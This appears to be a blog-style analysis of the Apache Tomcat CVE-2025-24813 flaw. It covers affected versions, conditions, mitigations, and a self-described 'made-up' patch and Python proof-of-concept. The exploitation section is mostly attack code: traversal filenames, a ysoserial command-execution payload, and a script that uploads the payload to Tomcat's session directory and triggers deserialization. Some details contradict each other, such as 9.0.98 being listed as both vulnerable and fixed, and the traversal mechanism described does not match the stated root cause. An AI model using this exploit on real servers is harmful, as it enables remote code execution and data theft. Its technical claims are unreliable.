CVE-2025-24813: Apache Tomcat Path Equivalence Vulnerability Leading to RCE and Information Disclosure

Executive Summary

CVE-2025-24813 is a critical vulnerability affecting Apache Tomcat versions 9.0.0.M1 through 9.0.98, 10.1.0-M1 through 10.1.34, and 11.0.0-M1 through 11.0.2. This vulnerability stems from improper path equivalence checks when handling filenames containing internal dots ("."). Successful exploitation can lead to remote code execution (RCE), unauthorized information disclosure, and the injection of malicious content into uploaded files. The root cause lies in the write-enabled Default Servlet's failure to adequately sanitize filenames, allowing attackers to bypass security restrictions. Users are advised to upgrade to versions 9.0.98, 10.1.35, or 11.0.3 to mitigate this risk.

Technical Details

Affected Systems

  • Apache Tomcat versions:
    • 9.0.0.M1 through 9.0.98
    • 10.1.0-M1 through 10.1.34
    • 11.0.0-M1 through 11.0.2

Vulnerable Components

  • Default Servlet: The primary component responsible for serving static content and handling file uploads when writes are enabled.
  • File-based Session Persistence: Tomcat's mechanism for storing session data in files, which becomes a target for RCE when combined with deserialization vulnerabilities.
  • Partial PUT Support: The feature that allows uploading files in chunks, exacerbating the path traversal issue.

Conditions for Exploitation

The vulnerability can be exploited in two primary scenarios, each requiring specific conditions to be met:

Scenario 1: Information Disclosure and File Manipulation

  • Writes enabled for the default servlet (disabled by default).
  • Support for partial PUT (enabled by default).
  • A target URL for security-sensitive uploads is a sub-directory of a target URL for public uploads.
  • Attacker knowledge of the names of security-sensitive files being uploaded.
  • The security-sensitive files are also being uploaded via partial PUT.

Scenario 2: Remote Code Execution

  • Writes enabled for the default servlet (disabled by default).
  • Support for partial PUT (enabled by default).
  • The application uses Tomcat's file-based session persistence with the default storage location.
  • The application includes a library that may be leveraged in a deserialization attack (e.g., libraries vulnerable to ysoserial gadgets).

Root Cause Analysis

The core of CVE-2025-24813 lies in the insufficient validation of file paths within the Default Servlet, specifically when handling filenames containing internal dots. This allows an attacker to manipulate the file path, potentially writing files outside the intended directory.

When writes are enabled for the Default Servlet, it allows handling PUT requests. The vulnerability arises because the servlet does not adequately sanitize the file.Name parameter, which is used to determine the file's destination. By including ".." sequences within the filename, an attacker can traverse directories and write files to arbitrary locations on the server.

The vulnerability is exacerbated by the support for partial PUT requests. This feature allows an attacker to upload a file in multiple chunks. By carefully crafting the filename in each chunk, the attacker can bypass initial validation checks and ultimately write the file to a malicious location.

Code Example (Illustrative)

The following example illustrates the general issue:

// Vulnerable Code (Illustrative)
public void doPut(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String filename = req.getParameter("file.Name"); // Attacker-controlled input
    File targetFile = new File(uploadDirectory, filename); // Path not properly sanitized

    try (FileOutputStream fos = new FileOutputStream(targetFile)) {
        // Write data to the file
        InputStream is = req.getInputStream();
        byte[] buffer = new byte[1024];
        int bytesRead;
        while ((bytesRead = is.read(buffer)) != -1) {
            fos.write(buffer, 0, bytesRead);
        }
    } catch (IOException e) {
        // Handle exception
    }
}

In this example, the filename parameter, directly obtained from the request, is used to create a File object without proper sanitization. An attacker could provide a filename like "../../../../sensitive/config.properties", causing the servlet to write to a sensitive configuration file.

Deserialization Exploitation

The RCE aspect of this vulnerability relies on the application using Tomcat's file-based session persistence. Tomcat stores session data in serialized files within a designated directory (defaulting to TOMCAT_HOME/work/Catalina/localhost/[application_name]/SESSIONS). If an attacker can write a malicious serialized object to this directory, Tomcat will deserialize it when the session is accessed, potentially leading to code execution.

This requires the presence of a vulnerable library within the application's classpath, which can be exploited using deserialization gadgets (e.g., those provided by ysoserial).

Patch Analysis

Based on the vulnerability description, the fix involves robust input validation and sanitization within the Default Servlet.

Theoretical Fixes:

  1. Filename Sanitization: Implement strict validation of the file.Name parameter to prevent directory traversal attempts. This includes:
    • Rejecting filenames containing ".." sequences.
    • Canonicalizing the path to ensure it remains within the intended upload directory.
  2. Path Validation: Verify that the target file path is within the allowed upload directory before writing any data.
  3. Disable Writes by Default: Keep the default servlet's write functionality disabled unless explicitly required and configured by the administrator.

Made-up Patch Example:

The following code snippet illustrates a theoretical patch that implements filename sanitization:

// Theoretical Patch (Illustrative)
public void doPut(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String filename = req.getParameter("file.Name");

    // Sanitize the filename to prevent directory traversal
    if (filename != null && (filename.contains("..") || !isValidPath(filename))) {
        resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid filename");
        return;
    }

    File targetFile = new File(uploadDirectory, filename);

    try (FileOutputStream fos = new FileOutputStream(targetFile)) {
        InputStream is = req.getInputStream();
        byte[] buffer = new byte[1024];
        int bytesRead;
        while ((bytesRead = is.read(buffer)) != -1) {
            fos.write(buffer, 0, bytesRead);
        }
    } catch (IOException e) {
        // Handle exception
    }
}

private boolean isValidPath(String filename) {
    // Implement path validation logic here
    // Example: Check if the canonical path starts with the allowed upload directory
    try {
        File canonicalFile = new File(uploadDirectory, filename).getCanonicalFile();
        return canonicalFile.getAbsolutePath().startsWith(uploadDirectory.getAbsolutePath());
    } catch (IOException e) {
        return false;
    }
}

This theoretical patch adds a isValidPath method to check if the canonical path of the file is within the allowed upload directory. It also rejects filenames containing ".." sequences.

Exploitation Techniques

CVE-2025-24813 can be exploited to achieve both information disclosure and remote code execution.

Information Disclosure and File Manipulation

  1. Identify a Writable Directory: Determine a directory on the Tomcat server where PUT requests are allowed. This often involves testing common upload paths (e.g., /uploads/, /files/).
  2. Craft a Malicious Filename: Create a filename that traverses directories to target a sensitive file. For example:
    filename = "../../../../sensitive/config.properties"
    
  3. Upload the File: Use a PUT request to upload a file with the malicious filename to the writable directory.
  4. Access the Targeted File: If successful, the attacker can now access the content of the targeted file (information disclosure) or overwrite it with malicious content (file manipulation).

Remote Code Execution

  1. Identify a Writable Directory: As before, find a directory where PUT requests are allowed.
  2. Craft a Malicious Payload: Use ysoserial or a similar tool to generate a serialized Java object that executes arbitrary commands.
    java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' > payload.ser
    
  3. Upload the Payload: Upload the serialized payload to the Tomcat session directory using a PUT request with a crafted filename:
    filename = "../../../../work/Catalina/localhost/[application_name]/SESSIONS/evil.session"
    
  4. Trigger Deserialization: Access the application in a way that triggers Tomcat to load and deserialize the session data. This might involve sending a request to /index.jsp or any other page that uses session data.
  5. Achieve RCE: If successful, the deserialization process will execute the commands embedded in the payload, granting the attacker remote code execution.

Made-up PoC Exploit (Python):

import requests
import sys
import os

def check_writable(target_url):
    """Checks if the target URL is writable via PUT."""
    try:
        test_file = target_url.rstrip('/') + '/check.txt'
        r = requests.put(test_file, data='test', timeout=5)
        if r.status_code in [200, 201]:
            print(f"[+] Server is writable via PUT: {test_file}")
            requests.delete(test_file, timeout=5)  # Clean up
            return True
        else:
            print(f"[-] Server is not writable via PUT (HTTP {r.status_code})")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False

def generate_payload(command):
    """Generates a ysoserial payload."""
    payload_file = "payload.ser"
    try:
        os.system(f"java -jar ysoserial.jar CommonsCollections5 '{command}' > {payload_file}")
        if not os.path.exists(payload_file):
            print("[-] Payload generation failed. Ensure ysoserial.jar is in the same directory.")
            return None
        print(f"[+] Payload generated successfully: {payload_file}")
        return payload_file
    except Exception as e:
        print(f"[-] Error generating payload: {e}")
        return None

def upload_payload(target_url, payload_file, session_id):
    """Uploads the serialized payload to the Tomcat session directory."""
    upload_url = f"{target_url.rstrip('/')}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, 'rb') as f:
            r = requests.put(upload_url, data=f, timeout=10)
        if r.status_code in [200, 201, 409]: # 409 Conflict can also indicate success
            print(f"[+] Payload uploaded with status {r.status_code}: {upload_url}")
            return True
        else:
            print(f"[-] Payload upload failed: {upload_url} (HTTP {r.status_code})")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False

def trigger_deserialization(target_url):
    """Triggers deserialization by accessing the application."""
    try:
        r = requests.get(target_url, timeout=10)
        if r.status_code == 500:
            print("[+] Exploit succeeded! Server returned 500 after deserialization.")
            return True
        else:
            print("[-] Deserialization trigger failed. Server did not return 500.")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False

def exploit(target_url, command):
    """Exploits CVE-2025-24813."""
    if not check_writable(target_url):
        print("[-] Target is not writable. Aborting.")
        return

    session_id = "absholi7ly"  # Replace with a valid session ID or generate one
    print(f"[*] Session ID: {session_id}")

    payload_file = generate_payload(command)
    if not payload_file:
        return

    if not upload_payload(target_url, payload_file, session_id):
        print("[-] Target does not appear vulnerable or exploit failed.")
        os.remove(payload_file)
        return

    if trigger_deserialization(target_url):
        print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
    else:
        print("[-] Target does not appear vulnerable or exploit failed.")

    os.remove(payload_file)
    print(f"[+] Temporary file removed: {payload_file}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python exploit.py <target_url> <command>")
        sys.exit(1)

    target_url = sys.argv[1]
    command = sys.argv[2]

    exploit(target_url, command)

Disclaimer: This exploit is made-up and for educational purposes only. It should not be used against systems without explicit permission.

Real-World Impacts

Successful exploitation of CVE-2025-24813 can have severe consequences:

  • Complete System Compromise: RCE allows attackers to execute arbitrary commands, potentially gaining full control over the Tomcat server.
  • Data Breach: Information disclosure can expose sensitive data, such as configuration files, database credentials, and user data.
  • Denial of Service: Malicious file uploads can consume disk space or disrupt application functionality, leading to denial of service.
  • Lateral Movement: Compromised Tomcat servers can be used as a stepping stone to attack other systems within the network.

Mitigation Strategies

To protect against CVE-2025-24813, implement the following mitigation strategies:

  1. Upgrade Apache Tomcat: Upgrade to the latest patched versions (9.0.98, 10.1.35, or 11.0.3) as soon as possible.
  2. Disable Writes for Default Servlet: Unless absolutely necessary, disable the write functionality for the Default Servlet. This can be done by setting the readonly parameter to true in the web.xml configuration file.
  3. Implement Strict Input Validation: Sanitize and validate all user-supplied input, especially filenames, to prevent directory traversal attacks.
  4. Restrict File Uploads: Limit file upload functionality to specific, well-defined directories with appropriate access controls.
  5. Regular Security Audits: Conduct regular security audits and penetration testing to identify and address potential vulnerabilities.
  6. Web Application Firewall (WAF): Deploy a WAF to detect and block malicious requests targeting this vulnerability.
  7. Principle of Least Privilege: Ensure that the Tomcat process runs with the minimum necessary privileges to reduce the impact of a successful exploit.
  8. Disable Partial PUT: If partial PUT functionality is not required, disable it to reduce the attack surface.

Timeline of Discovery and Disclosure

  • Vulnerability Discovered: Unknown
  • Reported to Apache: Unknown
  • Patched: March 2025
  • Public Disclosure: March 10, 2025

References

This blog post provides a comprehensive analysis of CVE-2025-24813, covering its technical details, root cause, exploitation techniques, and mitigation strategies. By understanding the intricacies of this vulnerability, organizations can take proactive steps to protect their Apache Tomcat servers and prevent potential attacks.

Read more